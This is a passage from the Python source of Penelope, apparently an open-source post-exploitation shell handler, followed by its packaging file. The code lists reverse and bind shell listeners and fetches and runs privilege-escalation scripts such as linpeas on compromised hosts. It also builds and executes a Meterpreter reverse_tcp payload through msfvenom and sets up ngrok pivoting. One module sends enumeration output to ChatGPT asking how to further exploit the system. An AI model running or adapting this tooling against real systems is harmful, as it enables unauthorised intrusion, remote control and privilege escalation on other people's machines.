parser.add_argument("-a", "--ai", help="Analyze linpeas results with chatGPT", action="store_true") 4298 | try: 4299 | arguments = parser.parse_args(shlex.split(args)) 4300 | except SystemExit: 4301 | return 4302 | if arguments.ai: 4303 | try: 4304 | from openai import OpenAI 4305 | #api_key = input("Please enter your chatGPT API key: ") 4306 | #assert len(api_key) > 10 4307 | except Exception as e: 4308 | logger.error(e) 4309 | return False 4310 | 4311 | output_file = session.script(URLS['linpeas']) 4312 | 4313 | if arguments.ai: 4314 | api_key = input("Please enter your chatGPT API key: ") 4315 | assert len(api_key) > 10 4316 | 4317 | with open(output_file, "r") as file: 4318 | content = file.read() 4319 | 4320 | client = OpenAI(api_key=api_key) 4321 | stream = client.chat.completions.create( 4322 | model="gpt-4o-mini", 4323 | messages=[ 4324 | {"role": "system", "content": "You are a helpful assistant helping me to perform penetration test to protect the systems"}, 4325 | { 4326 | "role": "user", 4327 | "content": f"I am pasting here the results of linpeas. Based on the output, I want you to tell me all possible ways the further exploit this system. I want you to be very specific on your analysis and not write generalities and uneccesary information. I want to focus only on your specific suggestions.\n\n\n {content}" 4328 | } 4329 | ], 4330 | stream=True 4331 | ) 4332 | 4333 | print('\n═════════════════ chatGPT analysis START ════════════════') 4334 | for chunk in stream: 4335 | if chunk.choices[0].delta.content: 4336 | #print(chunk.choices[0].delta.content, end="", flush=True) 4337 | stdout(chunk.choices[0].delta.content.encode()) 4338 | print('\n═════════════════ chatGPT analysis END ════════════════') 4339 | 4340 | elif session.OS == 'Windows': 4341 | logger.error("This module runs only on Unix shells") 4342 | 4343 | 4344 | class lse(Module): 4345 | category = "Privilege Escalation" 4346 | def run(session, args): 4347 | """ 4348 | Run the latest version of linux-smart-enumeration in the background 4349 | """ 4350 | if session.OS == 'Unix': 4351 | session.script(URLS['lse']) 4352 | else: 4353 | logger.error("This module runs only on Unix shells") 4354 | 4355 | 4356 | class linuxexploitsuggester(Module): 4357 | category = "Privilege Escalation" 4358 | def run(session, args): 4359 | """ 4360 | Run the latest version of linux-exploit-suggester in the background 4361 | """ 4362 | if session.OS == 'Unix': 4363 | session.script(URLS['les']) 4364 | else: 4365 | logger.error("This module runs only on Unix shells") 4366 | 4367 | 4368 | class meterpreter(Module): 4369 | def run(session, args): 4370 | """ 4371 | Get a meterpreter shell 4372 | """ 4373 | if session.OS == 'Unix': 4374 | logger.error("This module runs only on Windows shells") 4375 | else: 4376 | payload_path = f"/dev/shm/{rand(10)}.exe" 4377 | host = session._host 4378 | port = 5555 4379 | payload_creation_cmd = f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={host} LPORT={port} -f exe > {payload_path}" 4380 | result = subprocess.run(payload_creation_cmd, shell=True, text=True, capture_output=True) 4381 | 4382 | if result.returncode == 0: 4383 | logger.info("Payload created!") 4384 | uploaded_path = session.upload(payload_path) 4385 | if uploaded_path: 4386 | meterpreter_handler_cmd = ( 4387 | f'msfconsole -x "use exploit/multi/handler; ' 4388 | f'set payload windows/meterpreter/reverse_tcp; ' 4389 | f'set LHOST {host}; set LPORT {port}; run"' 4390 | ) 4391 | Open(meterpreter_handler_cmd, terminal=True) 4392 | print(meterpreter_handler_cmd) 4393 | session.exec(uploaded_path[0]) 4394 | else: 4395 | logger.error(f"Cannot create meterpreter payload: {result.stderr}") 4396 | 4397 | 4398 | class ngrok(Module): 4399 | category = "Pivoting" 4400 | def run(session, args): 4401 | """ 4402 | Setup ngrok 4403 | """ 4404 | if session.OS == 'Unix': 4405 | if not session.system == 'Linux': 4406 | logger.error(f"This modules runs only on Linux, not on {session.system}.") 4407 | return False 4408 | session.upload(URLS['ngrok_linux'], remote_path=session.tmp) 4409 | result = session.exec(f"tar xf {session.tmp}/ngrok-v3-stable-linux-amd64.tgz -C ~/.local/bin >/dev/null", value=True) 4410 | if not result: 4411 | logger.info("ngrok successuly extracted on '~/.local/bin'") 4412 | else: 4413 | logger.error(f"Extraction to '~/.local/bin' failed:\n{indent(result, ' ' * 4 + '- ')}") 4414 | return False 4415 | token = input("Authtoken: ") 4416 | session.exec(f"ngrok config add-authtoken {token}") 4417 | else: 4418 | logger.error("This module runs only on Unix shells") 4419 | 4420 | 4421 | class FileServer: 4422 | def __init__(self, *items, port=None, host=None, url_prefix=None, quiet=False): 4423 | self.port = port or options.default_fileserver_port 4424 | self.host = host or options.default_interface 4425 | self.host = Interfaces().translate(self.host) 4426 | self.items = items 4427 | self.url_prefix = url_prefix + '/' if url_prefix else '' 4428 | self.quiet = quiet 4429 | self.filemap = {} 4430 | for item in self.items: 4431 | self.add(item) 4432 | 4433 | def add(self, item): 4434 | if item == '/': 4435 | self.filemap[f'/{self.url_prefix}[root]'] = '/' 4436 | return '/[root]' 4437 | 4438 | item = os.path.abspath(normalize_path(item)) 4439 | 4440 | if not os.path.exists(item): 4441 | if not self.quiet: 4442 | logger.warning(f"'{item}' does not exist and will be ignored.") 4443 | return None 4444 | 4445 | if item in self.filemap.values(): 4446 | for _urlpath, _item in self.filemap.items(): 4447 | if _item == item: 4448 | return _urlpath 4449 | 4450 | urlpath = f"/{self.url_prefix}{os.path.basename(item)}" 4451 | while urlpath in self.filemap: 4452 | root, ext = os.path.splitext(urlpath) 4453 | urlpath = root + '_' + ext 4454 | self.filemap[urlpath] = item 4455 | return urlpath 4456 | 4457 | def remove(self, item): 4458 | item = os.path.abspath(normalize_path(item)) 4459 | if item in self.filemap: 4460 | del self.filemap[f"/{os.path.basename(item)}"] 4461 | else: 4462 | if not self.quiet: 4463 | logger.warning(f"{item} is not served.") 4464 | 4465 | @property 4466 | def links(self): 4467 | output = [] 4468 | ips = [self.host] 4469 | 4470 | if self.host == '0.0.0.0': 4471 | ips = [ip for ip in Interfaces().list.values()] 4472 | 4473 | for ip in ips: 4474 | output.extend(('', '🏠 http://' + str(paint(ip).cyan) + ":" + str(paint(self.port).red) + '/' + self.url_prefix)) 4475 | table = Table(joinchar=' → ') 4476 | for urlpath, filepath in self.filemap.items(): 4477 | table += ( 4478 | paint(f"{'📁' if os.path.isdir(filepath) else '📄'} ").green + 4479 | paint(f"http://{ip}:{self.port}{urlpath}").white_BLUE, filepath 4480 | ) 4481 | output.append(str(table)) 4482 | output.append("─" * len(output[1])) 4483 | 4484 | return '\n'.join(output) 4485 | 4486 | def start(self): 4487 | threading.Thread(target=self._start).start() 4488 | 4489 | def _start(self): 4490 | filemap, host, port, url_prefix, quiet = self.filemap, self.host, self.port, self.url_prefix, self.quiet 4491 | 4492 | class CustomTCPServer(socketserver.TCPServer): 4493 | allow_reuse_address = True 4494 | 4495 | def __init__(self, *args, **kwargs): 4496 | self.client_sockets = [] 4497 | super().__init__(*args, **kwargs) 4498 | 4499 | @handle_bind_errors 4500 | def server_bind(self, host, port): 4501 | self.server_address = (host, int(port)) 4502 | super().server_bind() 4503 | 4504 | def process_request(self, request, client_address): 4505 | self.client_sockets.append(request) 4506 | super().process_request(request, client_address) 4507 | 4508 | def shutdown(self): 4509 | for sock in self.client_sockets: 4510 | try: 4511 | sock.shutdown(socket.SHUT_RDWR) 4512 | sock.close() 4513 | except: 4514 | pass 4515 | super().shutdown() 4516 | 4517 | class CustomHandler(SimpleHTTPRequestHandler): 4518 | def do_GET(self): 4519 | try: 4520 | if self.path == '/' + url_prefix: 4521 | response = '' 4522 | for path in filemap.keys(): 4523 | response += f'
  • {path}
    • ' 4524 | response = response.encode() 4525 | self.send_response(200) 4526 | self.send_header("Content-type", "text/html") 4527 | self.send_header("Content-Length", str(len(response))) 4528 | self.end_headers() 4529 | 4530 | self.wfile.write(response) 4531 | else: 4532 | super().do_GET() 4533 | except Exception as e: 4534 | logger.error(e) 4535 | 4536 | def translate_path(self, path): 4537 | path = path.split('?', 1)[0] 4538 | path = path.split('#', 1)[0] 4539 | try: 4540 | path = unquote(path, errors='surrogatepass') 4541 | except UnicodeDecodeError: 4542 | path = unquote(path) 4543 | path = os.path.normpath(path) 4544 | 4545 | for urlpath, filepath in filemap.items(): 4546 | if path == urlpath: 4547 | return filepath 4548 | elif path.startswith(urlpath): 4549 | relpath = path[len(urlpath):].lstrip('/') 4550 | return os.path.join(filepath, relpath) 4551 | return "" 4552 | 4553 | def log_message(self, format, *args): 4554 | if quiet: 4555 | return None 4556 | message = format % args 4557 | response = message.translate(self._control_char_table).split(' ') 4558 | if not response[0].startswith('"'): 4559 | return 4560 | if response[3][0] == '3': 4561 | color = 'yellow' 4562 | elif response[3][0] in ('4', '5'): 4563 | color = 'red' 4564 | else: 4565 | color = 'green' 4566 | 4567 | response = getattr(paint(f"{response[0]} {response[1]} {response[3]}\""), color) 4568 | 4569 | logger.info( 4570 | f"{paint('[').white}{paint(self.log_date_time_string()).magenta}] " 4571 | f"FileServer({host}:{port}) [{paint(self.address_string()).cyan}] {response}" 4572 | ) 4573 | 4574 | with CustomTCPServer((self.host, self.port), CustomHandler, bind_and_activate=False) as self.httpd: 4575 | if not self.httpd.server_bind(self.host, self.port): 4576 | return False 4577 | self.httpd.server_activate() 4578 | self.id = core.new_fileserverID 4579 | core.fileservers[self.id] = self 4580 | if not quiet: 4581 | print(self.links) 4582 | self.httpd.serve_forever() 4583 | 4584 | def stop(self): 4585 | del core.fileservers[self.id] 4586 | if not self.quiet: 4587 | logger.warning(f"Shutting down Fileserver #{self.id}") 4588 | self.httpd.shutdown() 4589 | 4590 | 4591 | def WinResize(num, stack): 4592 | if core.attached_session is not None and core.attached_session.type == "PTY": 4593 | core.attached_session.update_pty_size() 4594 | 4595 | 4596 | def custom_excepthook(*args): 4597 | if len(args) == 1 and hasattr(args[0], 'exc_type'): 4598 | exc_type, exc_value, exc_traceback = args[0].exc_type, args[0].exc_value, args[0].exc_traceback 4599 | elif len(args) == 3: 4600 | exc_type, exc_value, exc_traceback = args 4601 | else: 4602 | return 4603 | print("\n", paint('Oops...').RED, '🐞\n', paint().yellow, '─' * 80, sep='') 4604 | sys.__excepthook__(exc_type, exc_value, exc_traceback) 4605 | print('─' * 80, f"\n{paint('Penelope version:').red} {paint(__version__).green}") 4606 | print(f"{paint('Python version:').red} {paint(sys.version).green}") 4607 | print(f"{paint('System:').red} {paint(platform.version()).green}\n") 4608 | 4609 | def get_glob_size(_glob, block_size): 4610 | from glob import glob 4611 | from math import ceil 4612 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) 4613 | def size_on_disk(filepath): 4614 | try: 4615 | return ceil(float(os.lstat(filepath).st_size) / block_size) * block_size 4616 | except: 4617 | return 0 4618 | total_size = 0 4619 | for part in shlex.split(_glob): 4620 | for item in glob(normalize_path(part)): 4621 | if os.path.isfile(item): 4622 | total_size += size_on_disk(item) 4623 | elif os.path.isdir(item): 4624 | for root, dirs, files in os.walk(item): 4625 | for file in files: 4626 | filepath = os.path.join(root, file) 4627 | total_size += size_on_disk(filepath) 4628 | return total_size 4629 | 4630 | def url_to_bytes(URL): 4631 | 4632 | # URLs with special treatment 4633 | URL = re.sub( 4634 | r"https://www.exploit-db.com/exploits/", 4635 | "https://www.exploit-db.com/download/", 4636 | URL 4637 | ) 4638 | 4639 | req = Request(URL, headers={'User-Agent': options.useragent}) 4640 | 4641 | logger.trace(paint(f"Download URL: {URL}").cyan) 4642 | ctx = ssl.create_default_context() if options.verify_ssl_cert else ssl._create_unverified_context() 4643 | 4644 | while True: 4645 | try: 4646 | response = urlopen(req, context=ctx, timeout=options.short_timeout) 4647 | break 4648 | except (HTTPError, TimeoutError) as e: 4649 | logger.error(e) 4650 | except URLError as e: 4651 | logger.error(e.reason) 4652 | if (hasattr(ssl, 'SSLCertVerificationError') and type(e.reason) == ssl.SSLCertVerificationError) or\ 4653 | (isinstance(e.reason, ssl.SSLError) and "CERTIFICATE_VERIFY_FAILED" in str(e)): 4654 | answer = ask("Cannot verify SSL Certificate. Download anyway? (y/N): ") 4655 | if answer.lower() == 'y': # Trust the cert 4656 | ctx = ssl._create_unverified_context() 4657 | continue 4658 | else: 4659 | answer = ask("Connection error. Try again? (Y/n): ") 4660 | if answer.lower() == 'n': # Trust the cert 4661 | pass 4662 | else: 4663 | continue 4664 | return None, None 4665 | 4666 | filename = response.headers.get_filename() 4667 | if filename: 4668 | filename = filename.strip('"') 4669 | elif URL.split('/')[-1]: 4670 | filename = URL.split('/')[-1] 4671 | else: 4672 | filename = URL.split('/')[-2] 4673 | 4674 | size = int(response.headers.get('Content-Length')) 4675 | data = bytearray() 4676 | pbar = PBar(size, caption=f" {paint('⤷').cyan} ", barlen=40, metric=Size) 4677 | while True: 4678 | try: 4679 | chunk = response.read(options.network_buffer_size) 4680 | if not chunk: 4681 | break 4682 | data.extend(chunk) 4683 | pbar.update(len(chunk)) 4684 | except Exception as e: 4685 | logger.error(e) 4686 | pbar.terminate() 4687 | break 4688 | 4689 | return filename, data 4690 | 4691 | def check_urls(): 4692 | global URLS 4693 | urls = URLS.values() 4694 | space_num = len(max(urls, key=len)) 4695 | all_ok = True 4696 | for url in urls: 4697 | req = Request(url, method="HEAD", headers={'User-Agent': options.useragent}) 4698 | try: 4699 | with urlopen(req, timeout=5) as response: 4700 | status_code = response.getcode() 4701 | except HTTPError as e: 4702 | all_ok = False 4703 | status_code = e.code 4704 | except: 4705 | return None 4706 | if __name__ == '__main__': 4707 | color = 'RED' if status_code >= 400 else 'GREEN' 4708 | print(f"{paint(url).cyan}{paint('.').DIM * (space_num - len(url))} => {getattr(paint(status_code), color)}") 4709 | return all_ok 4710 | 4711 | def listener_menu(): 4712 | if not core.listeners: 4713 | return False 4714 | 4715 | listener_menu.active = True 4716 | func = lambda: _ 4717 | listener_menu.control_r, listener_menu.control_w = os.pipe() 4718 | 4719 | listener_menu.finishing = threading.Event() 4720 | 4721 | while True: 4722 | tty.setraw(sys.stdin) 4723 | stdout( 4724 | f"\r\x1b[?25l{paint('➤ ').white} " 4725 | f"🏠 {paint('Main Menu').green} (m) " 4726 | f"💀 {paint('Payloads').magenta} (p) " 4727 | f"🔄 {paint('Clear').yellow} (Ctrl-L) " 4728 | f"🚫 {paint('Quit').red} (q/Ctrl-C)\r\n".encode() 4729 | ) 4730 | 4731 | r, _, _ = select([sys.stdin, listener_menu.control_r], [], []) 4732 | 4733 | if sys.stdin in r: 4734 | command = sys.stdin.read(1).lower() 4735 | if command == 'm': 4736 | func = menu.show 4737 | break 4738 | elif command == 'p': 4739 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL) 4740 | print() 4741 | for listener in core.listeners.values(): 4742 | print(listener.payloads, end='\n\n') 4743 | elif command == '\x0C': 4744 | os.system("clear") 4745 | elif command in ('q', '\x03'): 4746 | func = core.stop 4747 | menu.stop = True 4748 | break 4749 | stdout(b"\x1b[1A") 4750 | continue 4751 | break 4752 | 4753 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL) 4754 | stdout(b"\x1b[?25h\r") 4755 | func() 4756 | os.close(listener_menu.control_r) 4757 | listener_menu.active = False 4758 | listener_menu.finishing.set() 4759 | return True 4760 | 4761 | def load_rc(): 4762 | RC = Path(options.basedir / "peneloperc") 4763 | try: 4764 | with open(RC, "r") as rc: 4765 | exec(rc.read(), globals()) 4766 | except FileNotFoundError: 4767 | RC.touch() 4768 | os.chmod(RC, 0o600) 4769 | 4770 | def fonts_installed(): 4771 | possible_paths = ( 4772 | "/usr/share/fonts/truetype/noto/NotoColorEmoji.ttf", 4773 | "/usr/share/fonts/noto/NotoColorEmoji.ttf", 4774 | "/usr/local/share/fonts/noto/NotoColorEmoji.ttf", 4775 | "/usr/local/share/fonts/noto-emoji/NotoColorEmoji.ttf" 4776 | ) 4777 | 4778 | for path in possible_paths: 4779 | if os.path.isfile(path): 4780 | return True 4781 | if myOS == "Darwin": 4782 | return True 4783 | try: 4784 | if "Noto Color Emoji" in subprocess.run(["fc-list"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout: 4785 | return True 4786 | except: 4787 | pass 4788 | return False 4789 | 4790 | # OPTIONS 4791 | class Options: 4792 | log_levels = {"silent":'WARNING', "debug":'DEBUG'} 4793 | 4794 | def __init__(self): 4795 | self.basedir = Path.home() / f'.{__program__}' 4796 | self.default_listener_port = 4444 4797 | self.default_interface = "0.0.0.0" 4798 | self.default_fileserver_port = 8000 4799 | self.payloads = False 4800 | self.no_log = False 4801 | self.no_timestamps = False 4802 | self.no_colored_timestamps = False 4803 | self.max_maintain = 10 4804 | self.maintain = 1 4805 | self.single_session = False 4806 | self.no_attach = False 4807 | self.no_upgrade = False 4808 | self.debug = False 4809 | self.dev_mode = False 4810 | self.latency = .01 4811 | self.histlength = 2000 4812 | self.long_timeout = 60 4813 | self.short_timeout = 4 4814 | self.max_open_files = 5 4815 | self.verify_ssl_cert = True 4816 | self.proxy = '' 4817 | self.upload_chunk_size = 51200 4818 | self.download_chunk_size = 1048576 4819 | self.network_buffer_size = 16384 4820 | self.escape = {'sequence':b'\x1b[24~', 'key':'F12'} 4821 | self.logfile = f"{__program__}.log" 4822 | self.debug_logfile = "debug.log" 4823 | self.cmd_histfile = 'cmd_history' 4824 | self.debug_histfile = 'cmd_debug_history' 4825 | self.useragent = "Wget/1.21.2" 4826 | self.attach_lines = 20 4827 | 4828 | def __getattribute__(self, option): 4829 | if option in ("logfile", "debug_logfile", "cmd_histfile", "debug_histfile"): 4830 | return self.basedir / super().__getattribute__(option) 4831 | # if option == "basedir": 4832 | # return Path(super().__getattribute__(option)) 4833 | return super().__getattribute__(option) 4834 | 4835 | def __setattr__(self, option, value): 4836 | show = logger.error if 'logger' in globals() else lambda x: print(paint(x).red) 4837 | level = __class__.log_levels.get(option) 4838 | 4839 | if level: 4840 | level = level if value else 'INFO' 4841 | logging.getLogger(__program__).setLevel(getattr(logging, level)) 4842 | 4843 | elif option == 'maintain': 4844 | if value > self.max_maintain: 4845 | show(f"Maintain value decreased to the max ({self.max_maintain})") 4846 | value = self.max_maintain 4847 | if value < 1: 4848 | value = 1 4849 | #if value == 1: show(f"Maintain value should be 2 or above") 4850 | if value > 1 and self.single_session: 4851 | show(f"Single Session mode disabled because Maintain is enabled") 4852 | self.single_session = False 4853 | 4854 | elif option == 'single_session': 4855 | if self.maintain > 1 and value: 4856 | show(f"Single Session mode disabled because Maintain is enabled") 4857 | value = False 4858 | 4859 | elif option == 'no_bins': 4860 | if value is None: 4861 | value = [] 4862 | elif type(value) is str: 4863 | value = re.split('[^a-zA-Z0-9]+', value) 4864 | 4865 | elif option == 'proxy': 4866 | if not value: 4867 | os.environ.pop('http_proxy', '') 4868 | os.environ.pop('https_proxy', '') 4869 | else: 4870 | os.environ['http_proxy'] = value 4871 | os.environ['https_proxy'] = value 4872 | 4873 | elif option == 'basedir': 4874 | value.mkdir(parents=True, exist_ok=True) 4875 | 4876 | if hasattr(self, option) and getattr(self, option) is not None: 4877 | new_value_type = type(value).__name__ 4878 | orig_value_type = type(getattr(self, option)).__name__ 4879 | if new_value_type == orig_value_type: 4880 | self.__dict__[option] = value 4881 | else: 4882 | show(f"Wrong value type for '{option}': Expect <{orig_value_type}>, not <{new_value_type}>") 4883 | else: 4884 | self.__dict__[option] = value 4885 | 4886 | def main(): 4887 | 4888 | ## Command line options 4889 | parser = ArgumentParser(description="Penelope Shell Handler", add_help=False) 4890 | 4891 | parser.add_argument("ports", nargs='*', help="Ports to listen/connect to, depending on -i/-c options. Default: 4444") 4892 | 4893 | method = parser.add_argument_group("Reverse or Bind shell?") 4894 | method.add_argument("-i", "--interface", help="Interface or IP address to listen on. Default: 0.0.0.0", metavar='') 4895 | method.add_argument("-c", "--connect", help="Bind shell Host", metavar='') 4896 | 4897 | hints = parser.add_argument_group("Hints") 4898 | hints.add_argument("-a", "--payloads", help="Show sample payloads for reverse shell based on the registered Listeners", action="store_true") 4899 | hints.add_argument("-l", "--interfaces", help="Show the available network interfaces", action="store_true") 4900 | hints.add_argument("-h", "--help", action="help", help="show this help message and exit") 4901 | 4902 | log = parser.add_argument_group("Session Logging") 4903 | log.add_argument("-L", "--no-log", help="Do not create session log files", action="store_true") 4904 | log.add_argument("-T", "--no-timestamps", help="Do not include timestamps in session logs", action="store_true") 4905 | log.add_argument("-CT", "--no-colored-timestamps", help="Do not color timestamps in session logs", action="store_true") 4906 | 4907 | misc = parser.add_argument_group("Misc") 4908 | misc.add_argument("-m", "--maintain", help="Maintain NUM total shells per target", type=int, metavar='') 4909 | misc.add_argument("-M", "--menu", help="Just land to the Main Menu", action="store_true") 4910 | misc.add_argument("-S", "--single-session", help="Accommodate only the first created session", action="store_true") 4911 | misc.add_argument("-C", "--no-attach", help="Disable auto attaching sessions upon creation", action="store_true") 4912 | misc.add_argument("-U", "--no-upgrade", help="Do not upgrade shells", action="store_true") 4913 | 4914 | misc = parser.add_argument_group("File server") 4915 | misc.add_argument("-s", "--serve", help="HTTP File Server mode", action="store_true") 4916 | misc.add_argument("-p", "--port", help="File Server port. Default: 8000", metavar='') 4917 | misc.add_argument("-prefix", "--url-prefix", help="URL prefix", type=str, metavar='') 4918 | 4919 | debug = parser.add_argument_group("Debug") 4920 | debug.add_argument("-N", "--no-bins", help="Simulate binary absence on target (comma separated list)", metavar='') 4921 | debug.add_argument("-v", "--version", help="Show Penelope version", action="store_true") 4922 | debug.add_argument("-d", "--debug", help="Show debug messages", action="store_true") 4923 | debug.add_argument("-dd", "--dev-mode", help="Developer mode", action="store_true") 4924 | debug.add_argument("-cu", "--check-urls", help="Check health of hardcoded URLs", action="store_true") 4925 | 4926 | parser.parse_args(None, options) 4927 | 4928 | # Modify objects for testing 4929 | if options.dev_mode: 4930 | logger.critical("(!) THIS IS DEVELOPER MODE (!)") 4931 | #stdout_handler.addFilter(lambda record: True if record.levelno != logging.DEBUG else False) 4932 | #logger.setLevel('DEBUG') 4933 | #options.max_maintain = 50 4934 | #options.no_bins = 'python,python3,script' 4935 | 4936 | global keyboard_interrupt 4937 | signal.signal(signal.SIGINT, lambda num, stack: core.stop()) 4938 | 4939 | # Show Version 4940 | if options.version: 4941 | print(__version__) 4942 | sys.exit() 4943 | 4944 | # Show Interfaces 4945 | elif options.interfaces: 4946 | print(Interfaces()) 4947 | sys.exit() 4948 | 4949 | # Check hardcoded URLs 4950 | elif options.check_urls: 4951 | signal.signal(signal.SIGINT, signal.SIG_DFL) 4952 | check_urls() 4953 | sys.exit() 4954 | 4955 | # Main Menu 4956 | elif options.menu: 4957 | signal.signal(signal.SIGINT, keyboard_interrupt) 4958 | menu.show() 4959 | menu.start() 4960 | sys.exit() 4961 | 4962 | # File Server 4963 | elif options.serve: 4964 | server = FileServer(*options.ports or '.', port=options.port, host=options.interface, url_prefix=options.url_prefix) 4965 | if server.filemap: 4966 | server.start() 4967 | else: 4968 | logger.error("No files to serve") 4969 | sys.exit() 4970 | 4971 | if not options.ports: 4972 | options.ports.append(options.default_listener_port) 4973 | 4974 | for port in options.ports: 4975 | # Bind shell 4976 | if options.connect: 4977 | if not Connect(options.connect, port): 4978 | sys.exit(1) 4979 | # Reverse Listener 4980 | else: 4981 | TCPListener(host=options.interface, port=port) 4982 | if not core.listeners: 4983 | sys.exit(1) 4984 | listener_menu() 4985 | signal.signal(signal.SIGINT, keyboard_interrupt) 4986 | menu.start() 4987 | sys.exit() 4988 | 4989 | #################### PROGRAM LOGIC #################### 4990 | 4991 | # Check Python version 4992 | if not sys.version_info >= (3, 6): 4993 | print("(!) Penelope requires Python version 3.6 or higher (!)") 4994 | sys.exit(1) 4995 | 4996 | # Apply default options 4997 | options = Options() 4998 | 4999 | # Loggers 5000 | ## Add TRACE logging level 5001 | TRACE_LEVEL_NUM = 25 5002 | logging.addLevelName(TRACE_LEVEL_NUM, "TRACE") 5003 | logging.TRACE = TRACE_LEVEL_NUM 5004 | def trace(self, message, *args, **kwargs): 5005 | if self.isEnabledFor(TRACE_LEVEL_NUM): 5006 | self._log(TRACE_LEVEL_NUM, message, args, **kwargs) 5007 | logging.Logger.trace = trace 5008 | 5009 | ## Setup Logging Handlers 5010 | stdout_handler = logging.StreamHandler() 5011 | stdout_handler.setFormatter(CustomFormatter()) 5012 | stdout_handler.terminator = '' 5013 | 5014 | file_handler = logging.FileHandler(options.logfile) 5015 | file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s", "%Y-%m-%d %H:%M:%S")) 5016 | file_handler.setLevel('INFO') # ??? TODO 5017 | file_handler.terminator = '' 5018 | 5019 | debug_file_handler = logging.FileHandler(options.debug_logfile) 5020 | debug_file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s")) 5021 | debug_file_handler.addFilter(lambda record: True if record.levelno == logging.DEBUG else False) 5022 | debug_file_handler.terminator = '' 5023 | 5024 | ## Initialize Loggers 5025 | logger = logging.getLogger(__program__) 5026 | logger.addHandler(stdout_handler) 5027 | logger.addHandler(file_handler) 5028 | logger.addHandler(debug_file_handler) 5029 | 5030 | cmdlogger = logging.getLogger(f"{__program__}_cmd") 5031 | cmdlogger.setLevel(logging.INFO) 5032 | cmdlogger.addHandler(stdout_handler) 5033 | 5034 | # Set constants 5035 | myOS = platform.system() 5036 | TTY_NORMAL = termios.tcgetattr(sys.stdin) 5037 | DISPLAY = 'DISPLAY' in os.environ 5038 | TERMINALS = [ 5039 | 'gnome-terminal', 'mate-terminal', 'qterminal', 'terminator', 'alacritty', 'kitty', 'tilix', 5040 | 'konsole', 'xfce4-terminal', 'lxterminal', 'urxvt', 'st', 'xterm', 'eterm', 'x-terminal-emulator' 5041 | ] 5042 | TERMINAL = next((term for term in TERMINALS if shutil.which(term)), None) 5043 | MAX_CMD_PROMPT_LEN = 335 5044 | LINUX_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" 5045 | URLS = { 5046 | 'linpeas': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", 5047 | 'winpeas': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat", 5048 | 'socat': "https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat", 5049 | 'ncat': "https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/ncat", 5050 | 'lse': "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh", 5051 | 'powerup': "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1", 5052 | 'deepce': "https://raw.githubusercontent.com/stealthcopter/deepce/refs/heads/main/deepce.sh", 5053 | 'privesccheck': "https://raw.githubusercontent.com/itm4n/PrivescCheck/refs/heads/master/PrivescCheck.ps1", 5054 | 'les': "https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/refs/heads/master/linux-exploit-suggester.sh", 5055 | 'ngrok_linux': "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz", 5056 | } 5057 | 5058 | # Python Agent code 5059 | GET_GLOB_SIZE = inspect.getsource(get_glob_size) 5060 | MESSENGER = inspect.getsource(Messenger) 5061 | STREAM = inspect.getsource(Stream) 5062 | AGENT = inspect.getsource(agent) 5063 | 5064 | # Python modifications 5065 | original_input = input 5066 | input = my_input 5067 | sys.excepthook = custom_excepthook 5068 | threading.excepthook = custom_excepthook 5069 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT 5070 | os.umask(0o007) 5071 | signal.signal(signal.SIGWINCH, WinResize) 5072 | keyboard_interrupt = signal.getsignal(signal.SIGINT) 5073 | try: 5074 | import readline 5075 | readline.parse_and_bind("tab: complete") 5076 | default_readline_delims = readline.get_completer_delims() 5077 | except ImportError: 5078 | readline = None 5079 | default_readline_delims = None 5080 | 5081 | ## Create basic objects 5082 | core = Core() 5083 | menu = MainMenu(histfile=options.cmd_histfile, histlen=options.histlength) 5084 | start = menu.start 5085 | Listener = TCPListener 5086 | 5087 | # Check for installed emojis 5088 | if not fonts_installed(): 5089 | logger.warning("For showing emojis please install 'fonts-noto-color-emoji'") 5090 | 5091 | # Load peneloperc 5092 | load_rc() 5093 | 5094 | if __name__ == "__main__": 5095 | main() 5096 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "penelope" 7 | version = "0.13.8" 8 | requires-python = ">=3.6" 9 | 10 | [project.scripts] 11 | penelope = "penelope:main" 12 | 13 | [tool.setuptools] 14 | script-files = ["penelope.py"] 15 | --------------------------------------------------------------------------------